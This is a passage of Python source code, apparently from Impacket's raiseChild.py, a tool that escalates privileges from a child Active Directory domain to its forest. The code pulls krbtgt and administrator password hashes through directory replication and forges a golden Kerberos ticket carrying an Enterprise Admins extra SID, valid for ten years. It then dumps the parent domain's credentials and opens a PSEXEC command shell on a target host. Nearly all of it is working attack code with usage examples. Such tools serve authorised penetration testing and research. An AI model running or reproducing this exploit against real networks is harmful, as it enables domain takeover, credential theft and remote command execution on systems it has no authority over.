   764              LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
   765          if NTHash is None:
   766              NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
   767          return rid, hexlify(LMHash), hexlify(NTHash)
   768  
   769      def DRSGetNCChanges(self, userEntry, creds):
   770          if self.__drsr is None:
   771              self.__connectDrds(creds)
   772  
   773          request = drsuapi.DRSGetNCChanges()
   774          request['hDrs'] = self.__hDrs
   775          request['dwInVersion'] = 8
   776  
   777          request['pmsgIn']['tag'] = 8
   778          request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
   779          request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
   780  
   781          dsName = drsuapi.DSNAME()
   782          dsName['SidLen'] = 0
   783          dsName['Guid'] = drsuapi.NULLGUID
   784          dsName['Sid'] = ''
   785          dsName['NameLen'] = len(userEntry)
   786          dsName['StringName'] = (userEntry + '\x00')
   787  
   788          dsName['structLen'] = len(dsName.getData())
   789  
   790          request['pmsgIn']['V8']['pNC'] = dsName
   791  
   792          request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
   793          request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
   794  
   795          request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
   796  
   797          request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
   798          request['pmsgIn']['V8']['cMaxObjects'] = 1
   799          request['pmsgIn']['V8']['cMaxBytes'] = 0
   800          request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
   801          if self.__ppartialAttrSet is None:
   802              self.__prefixTable = []
   803              self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
   804              self.__ppartialAttrSet['dwVersion'] = 1
   805              self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID)
   806              for attId in list(self.ATTRTYP_TO_ATTID.values()):
   807                  self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
   808          request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
   809          request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
   810          request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
   811          request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
   812  
   813          return self.__drsr.request(request)
   814  
   815      def getCredentials(self, userName, domain, creds = None):
   816          upn = '%s@%s' % (userName, domain)
   817          try:
   818              crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds)
   819  
   820              if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
   821                  if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0:
   822                      userRecord = self.DRSGetNCChanges(
   823                          crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds)
   824                      # userRecord.dump()
   825                      if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
   826                          raise Exception('DRSGetNCChanges didn\'t return any object!')
   827                  else:
   828                      raise Exception('DRSCrackNames status returned error 0x%x' %
   829                                      crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'])
   830              else:
   831                  raise Exception('DRSCrackNames returned %d items for user %s' % (
   832                  crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
   833  
   834              rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
   835              aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
   836          except Exception as e:
   837              logging.debug('Exception:', exc_info=True)
   838              logging.error("Error while processing user!")
   839              logging.error(str(e))
   840              raise
   841  
   842          self.__drsr.disconnect()
   843          self.__drsr = None
   844          creds = {}
   845          creds['lmhash'] = lmhash
   846          creds['nthash'] = nthash
   847          creds['aesKey'] = aesKey
   848          return rid, creds
   849  
   850      @staticmethod
   851      def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid):
   852          asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
   853  
   854          # Let's extract Ticket's enc-data
   855          cipherText = asRep['ticket']['enc-part']['cipher']
   856  
   857          cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
   858          if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
   859              key = Key(cipher.enctype, unhexlify(aesKey))
   860          elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
   861              key = Key(cipher.enctype, unhexlify(ntHash))
   862          else:
   863              raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
   864  
   865          # Key Usage 2
   866          # AS-REP Ticket and TGS-REP Ticket (includes TGS session
   867          # key or application session key), encrypted with the
   868          # service key (Section 5.3)
   869          plainText = cipher.decrypt(key, 2, cipherText)
   870          #hexdump(plainText)
   871  
   872          encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0]
   873  
   874          # Let's extend the ticket's validity a lil bit
   875          tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10)
   876          encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow)
   877          encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow)
   878          #print encTicketPart.prettyPrint()
   879  
   880          adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0]
   881          #print adIfRelevant.prettyPrint()
   882  
   883          # So here we have the PAC
   884          pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
   885          buffers = pacType['Buffers']
   886          pacInfos = {}
   887  
   888          for nBuf in range(pacType['cBuffers']):
   889              infoBuffer = PAC_INFO_BUFFER(buffers)
   890              data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
   891              pacInfos[infoBuffer['ulType']] = data
   892              buffers = buffers[len(infoBuffer):]
   893  
   894          # Let's locate the KERB_VALIDATION_INFO and Checksums
   895          if PAC_LOGON_INFO in pacInfos:
   896              data = pacInfos[PAC_LOGON_INFO]
   897              validationInfo = VALIDATION_INFO()
   898              validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
   899              lenVal = len(validationInfo.getData())
   900              validationInfo.fromStringReferents(data[lenVal:], lenVal)
   901  
   902              if logging.getLogger().level == logging.DEBUG:
   903                  logging.debug('VALIDATION_INFO before making it gold')
   904                  validationInfo.dump()
   905                  print ('\n')
   906  
   907              # Our Golden Well-known groups! :)
   908              groups = (513, 512, 520, 518, 519)
   909              validationInfo['Data']['GroupIds'] = list()
   910              validationInfo['Data']['GroupCount'] = len(groups)
   911  
   912              for group in groups:
   913                  groupMembership = GROUP_MEMBERSHIP()
   914                  groupId = NDRULONG()
   915                  groupId['Data'] = group
   916                  groupMembership['RelativeId'] = groupId
   917                  groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   918                  validationInfo['Data']['GroupIds'].append(groupMembership)
   919  
   920              # Let's add the extraSid
   921              if validationInfo['Data']['SidCount'] == 0:
   922                  # Let's be sure user's flag specify we have extra sids.
   923                  validationInfo['Data']['UserFlags'] |= 0x20
   924                  validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
   925  
   926              validationInfo['Data']['SidCount'] += 1
   927  
   928              sidRecord = KERB_SID_AND_ATTRIBUTES()
   929  
   930              sid = RPC_SID()
   931              sid.fromCanonical(extraSid)
   932  
   933              sidRecord['Sid'] = sid
   934              sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
   935  
   936              # And, let's append the magicSid
   937              validationInfo['Data']['ExtraSids'].append(sidRecord)
   938  
   939              validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
   940              validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
   941  
   942              if logging.getLogger().level == logging.DEBUG:
   943                  logging.debug('VALIDATION_INFO after making it gold')
   944                  validationInfo.dump()
   945                  print ('\n')
   946          else:
   947              raise Exception('PAC_LOGON_INFO not found! Aborting')
   948  
   949          # Let's now clear the checksums
   950          if PAC_SERVER_CHECKSUM in pacInfos:
   951              serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
   952              if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
   953                  serverChecksum['Signature'] = b'\x00'*12
   954              else:
   955                  serverChecksum['Signature'] = b'\x00'*16
   956          else:
   957              raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
   958  
   959          if PAC_PRIVSVR_CHECKSUM in pacInfos:
   960              privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
   961              privSvrChecksum['Signature'] = b'\x00'*12
   962              if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
   963                  privSvrChecksum['Signature'] = b'\x00'*12
   964              else:
   965                  privSvrChecksum['Signature'] = b'\x00'*16
   966          else:
   967              raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
   968  
   969          if PAC_CLIENT_INFO_TYPE in pacInfos:
   970              pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
   971              pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
   972          else:
   973              raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
   974  
   975  
   976          # We changed everything we needed to make us special. Now let's repack and calculate checksums
   977          serverChecksumBlob = serverChecksum.getData()
   978          serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
   979  
   980          privSvrChecksumBlob = privSvrChecksum.getData()
   981          privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
   982  
   983          # The offset are set from the beginning of the PAC_TYPE
   984          # [MS-PAC] 2.4 PAC_INFO_BUFFER
   985          offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4
   986  
   987          # Let's build the PAC_INFO_BUFFER for each one of the elements
   988          validationInfoIB = PAC_INFO_BUFFER()
   989          validationInfoIB['ulType'] = PAC_LOGON_INFO
   990          validationInfoIB['cbBufferSize'] =  len(validationInfoBlob)
   991          validationInfoIB['Offset'] = offsetData
   992          offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
   993  
   994          pacClientInfoIB = PAC_INFO_BUFFER()
   995          pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
   996          pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
   997          pacClientInfoIB['Offset'] = offsetData
   998          offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
   999  
  1000          serverChecksumIB = PAC_INFO_BUFFER()
  1001          serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
  1002          serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
  1003          serverChecksumIB['Offset'] = offsetData
  1004          offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
  1005  
  1006          privSvrChecksumIB = PAC_INFO_BUFFER()
  1007          privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
  1008          privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
  1009          privSvrChecksumIB['Offset'] = offsetData
  1010          #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
  1011  
  1012          # Building the PAC_TYPE as specified in [MS-PAC]
  1013          buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
  1014              privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
  1015              pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
  1016          buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
  1017  
  1018          pacType = PACTYPE()
  1019          pacType['cBuffers'] = 4
  1020          pacType['Version'] = 0
  1021          pacType['Buffers'] = buffers + buffersTail
  1022  
  1023          blobToChecksum = pacType.getData()
  1024  
  1025          # If you want to do MD5, ucomment this
  1026          checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
  1027          if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
  1028              keyServer = Key(Enctype.AES256, unhexlify(aesKey))
  1029          elif serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:
  1030              keyServer = Key(Enctype.RC4, unhexlify(ntHash))
  1031          else:
  1032              raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] )
  1033  
  1034          checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']]
  1035          if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
  1036              keyPriv = Key(Enctype.AES256, unhexlify(aesKey))
  1037          elif privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value:
  1038              keyPriv = Key(Enctype.RC4, unhexlify(ntHash))
  1039          else:
  1040              raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] )
  1041  
  1042          serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum)
  1043          privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature'])
  1044  
  1045          buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
  1046          pacType['Buffers'] = buffers + buffersTail
  1047  
  1048          authorizationData = AuthorizationData()
  1049          authorizationData[0] = noValue
  1050          authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
  1051          authorizationData[0]['ad-data'] = pacType.getData()
  1052          authorizationData = encoder.encode(authorizationData)
  1053  
  1054          encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
  1055  
  1056          encodedEncTicketPart = encoder.encode(encTicketPart)
  1057  
  1058          cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
  1059          if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
  1060              key = Key(cipher.enctype, unhexlify(aesKey))
  1061          elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
  1062              key = Key(cipher.enctype, unhexlify(ntHash))
  1063          else:
  1064              raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
  1065  
  1066          # Key Usage 2
  1067          # AS-REP Ticket and TGS-REP Ticket (includes TGS session
  1068          # key or application session key), encrypted with the
  1069          # service key (Section 5.3)
  1070          cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
  1071  
  1072          asRep['ticket']['enc-part']['cipher'] = cipherText
  1073  
  1074          return encoder.encode(asRep), originalCipher, sessionKey
  1075  
  1076      def raiseUp(self, childName, childCreds, parentName):
  1077          logging.info('Raising %s to %s' % (childName, parentName))
  1078  
  1079          # 3) Get the parents's Enterprise Admin SID (via [MS-LSAT])
  1080          entepriseSid, adminName = self.getParentSidAndAdminName(parentName, childCreds)
  1081          logging.info('%s Enterprise Admin SID is: %s-519' % (parentName,entepriseSid))
  1082  
  1083          # 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
  1084          targetUser = 'krbtgt'
  1085          logging.info('Getting credentials for %s' % childName)
  1086          rid, credentials = self.getCredentials(targetUser, childName, childCreds)
  1087          print('%s/%s:%s:%s:%s:::' % (
  1088          childName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
  1089          print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'].decode('utf-8')))
  1090  
  1091          # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
  1092          userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value)
  1093          TGT = {}
  1094          TGS = {}
  1095          while True:
  1096              try:
  1097                  tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'],
  1098                                                                          childCreds['domain'], childCreds['lmhash'],
  1099                                                                          childCreds['nthash'], None, self.__kdcHost)
  1100              except KerberosError as e:
  1101                  if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
  1102                      # We might face this if the target does not support AES (most probably
  1103                      # Windows XP). So, if that's the case we'll force using RC4 by converting
  1104                      # the password to lm/nt hashes and hope for the best. If that's already
  1105                      # done, byebye.
  1106                      if childCreds['lmhash'] is '' and childCreds['nthash'] is '':
  1107                          from impacket.ntlm import compute_lmhash, compute_nthash
  1108                          childCreds['lmhash'] = compute_lmhash(childCreds['password'])
  1109                          childCreds['nthash'] = compute_nthash(childCreds['password'])
  1110                          continue
  1111                      else:
  1112                          raise
  1113                  else:
  1114                      raise
  1115  
  1116              # We have a TGT, let's make it golden
  1117              goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'],
  1118                                                                 credentials['aesKey'], entepriseSid + '-519')
  1119              TGT['KDC_REP'] = goldenTicket
  1120              TGT['cipher'] = cipher
  1121              TGT['oldSessionKey'] = oldSessionKey
  1122              TGT['sessionKey'] = sessionKey
  1123  
  1124              # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
  1125              if self.__target is None:
  1126                  serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)),
  1127                                         type=constants.PrincipalNameType.NT_SRV_INST.value)
  1128              else:
  1129                  serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
  1130              try:
  1131                  logging.debug('Getting TGS for SPN %s' % serverName)
  1132                  tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName,
  1133                                                                                          childCreds['domain'], None,
  1134                                                                                          goldenTicket, cipher,
  1135                                                                                          sessionKey)
  1136                  TGS['KDC_REP'] = tgsCIFS
  1137                  TGS['cipher'] = cipherCIFS
  1138                  TGS['oldSessionKey'] = oldSessionKeyCIFS
  1139                  TGS['sessionKey'] = sessionKeyCIFS
  1140                  break
  1141              except KerberosError as e:
  1142                  if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
  1143                      # We might face this if the target does not support AES (most probably
  1144                      # Windows XP). So, if that's the case we'll force using RC4 by converting
  1145                      # the password to lm/nt hashes and hope for the best. If that's already
  1146                      # done, byebye.
  1147                      if childCreds['lmhash'] is '' and childCreds['nthash'] is '':
  1148                          from impacket.ntlm import compute_lmhash, compute_nthash
  1149                          childCreds['lmhash'] = compute_lmhash(childCreds['password'])
  1150                          childCreds['nthash'] = compute_nthash(childCreds['password'])
  1151                      else:
  1152                          raise
  1153                  else:
  1154                      raise
  1155  
  1156          # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info
  1157          logging.info('Getting credentials for %s' % parentName)
  1158          targetUser = 'krbtgt'
  1159          childCreds['TGT'] = TGT
  1160          rid, credentials = self.getCredentials(targetUser, parentName, childCreds)
  1161          print('%s/%s:%s:%s:%s:::' % (
  1162          parentName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
  1163          print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'].decode("utf-8")))
  1164  
  1165          logging.info('Administrator account name is %s' % adminName)
  1166          rid, credentials = self.getCredentials(adminName, parentName, childCreds)
  1167          print('%s/%s:%s:%s:%s:::' % (parentName, adminName, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8')))
  1168          print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, adminName, credentials['aesKey'].decode('utf-8')))
  1169  
  1170          adminCreds = {}
  1171          adminCreds['username'] = adminName
  1172          adminCreds['password'] = ''
  1173          adminCreds['domain'] = parentName
  1174          adminCreds['lmhash'] = credentials['lmhash']
  1175          adminCreds['nthash'] = credentials['nthash']
  1176          adminCreds['aesKey'] = credentials['aesKey']
  1177          adminCreds['TGT'] =  None
  1178          adminCreds['TGS'] =  None
  1179          return adminCreds, TGT, TGS
  1180  
  1181      def exploit(self):
  1182          # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
  1183          childCreds = self.__creds
  1184          childName, forestName = self.getChildInfo(self.__creds)
  1185          logging.info('Raising child domain %s' % childName)
  1186  
  1187          # 2) Find out what the forest FQDN is (via [MS-NRPC])
  1188          logging.info('Forest FQDN is: %s' % forestName)
  1189  
  1190          # Let's raise up our child!
  1191          adminCreds, parentTGT, parentTGS = self.raiseUp(childName, childCreds, forestName)
  1192  
  1193          # 7) If file was specified, save the golden ticket in ccache format
  1194          if self.__writeTGT is not None:
  1195              logging.info('Saving golden ticket into %s' % self.__writeTGT)
  1196              from impacket.krb5.ccache import CCache
  1197              ccache = CCache()
  1198              ccache.fromTGT(parentTGT['KDC_REP'], parentTGT['oldSessionKey'], parentTGT['sessionKey'])
  1199              ccache.saveFile(self.__writeTGT)
  1200  
  1201          # 8) If target was specified, a PSEXEC shell is launched
  1202          if self.__target is not None:
  1203              logging.info('Opening PSEXEC shell at %s' % self.__target)
  1204              from impacket.smbconnection import SMBConnection
  1205              s = SMBConnection('*SMBSERVER', self.__target)
  1206              s.kerberosLogin(adminCreds['username'], '', adminCreds['domain'], adminCreds['lmhash'],
  1207                              adminCreds['nthash'], useCache=False)
  1208  
  1209              if self.__command != 'None':
  1210                  executer = PSEXEC(self.__command, adminCreds['username'], adminCreds['domain'], s, None, None)
  1211                  executer.run(self.__target)
  1212  
  1213  if __name__ == '__main__':
  1214      # Init the example's logger theme
  1215      logger.init()
  1216  
  1217      print(version.BANNER)
  1218  
  1219      parser = argparse.ArgumentParser(add_help = True, description = "Privilege Escalation from a child domain up to its "
  1220                                                                      "forest")
  1221  
  1222      parser.add_argument('target', action='store', help='domain/username[:password]')
  1223      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
  1224      parser.add_argument('-w', action='store',metavar = "pathname",  help='writes the golden ticket in CCache format '
  1225                                                                           'into the <pathname> file')
  1226      #parser.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter')
  1227      parser.add_argument('-target-exec', action='store',metavar = "target address",  help='Target host you want to PSEXEC '
  1228                          'against once the main attack finished')
  1229  
  1230      group = parser.add_argument_group('authentication')
  1231  
  1232      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
  1233      group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
  1234      group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
  1235                         '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
  1236                         'ones specified in the command line')
  1237      group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
  1238                                                                              '(128 or 256 bits)')
  1239  
  1240      if len(sys.argv)==1:
  1241          parser.print_help()
  1242          print("\nExamples: ")
  1243          print("\tpython raiseChild.py childDomain.net/adminuser\n")
  1244          print("\tthe password will be asked, or\n")
  1245          print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n")
  1246          print("\tor if you just have the hashes\n")
  1247          print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n")
  1248  
  1249          print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin")
  1250          print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n")
  1251          print("\tThis will save the final goldenTicket generated in the ccache target file")
  1252          print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n")
  1253          sys.exit(1)
  1254   
  1255      options = parser.parse_args()
  1256  
  1257      import re
  1258      # This is because I'm lazy with regex
  1259      # ToDo: We need to change the regex to fullfil domain/username[:password]
  1260      targetParam = options.target + '@'
  1261      domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
  1262          targetParam).groups('')
  1263  
  1264      #In case the password contains '@'
  1265      if '@' in address:
  1266          password = password + '@' + address.rpartition('@')[0]
  1267          address = address.rpartition('@')[2]
  1268  
  1269      if options.debug is True:
  1270          logging.getLogger().setLevel(logging.DEBUG)
  1271      else:
  1272          logging.getLogger().setLevel(logging.INFO)
  1273  
  1274      if domain is '':
  1275          logging.critical('Domain should be specified!')
  1276          sys.exit(1)
  1277  
  1278      if password == '' and username != '' and options.hashes is None and options.aesKey is None:
  1279          from getpass import getpass
  1280          password = getpass("Password:")
  1281  
  1282      if options.aesKey is not None:
  1283          options.k = True
  1284  
  1285      commands = 'cmd.exe'
  1286  
  1287      try:
  1288          pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands)
  1289          pacifier.exploit()
  1290      except SessionError as e:
  1291          logging.critical(str(e))
  1292          if e.getErrorCode() == STATUS_NO_LOGON_SERVERS:
  1293              logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue')
  1294      except Exception as e:
  1295          logging.debug('Exception:', exc_info=True)
  1296          logging.critical(str(e))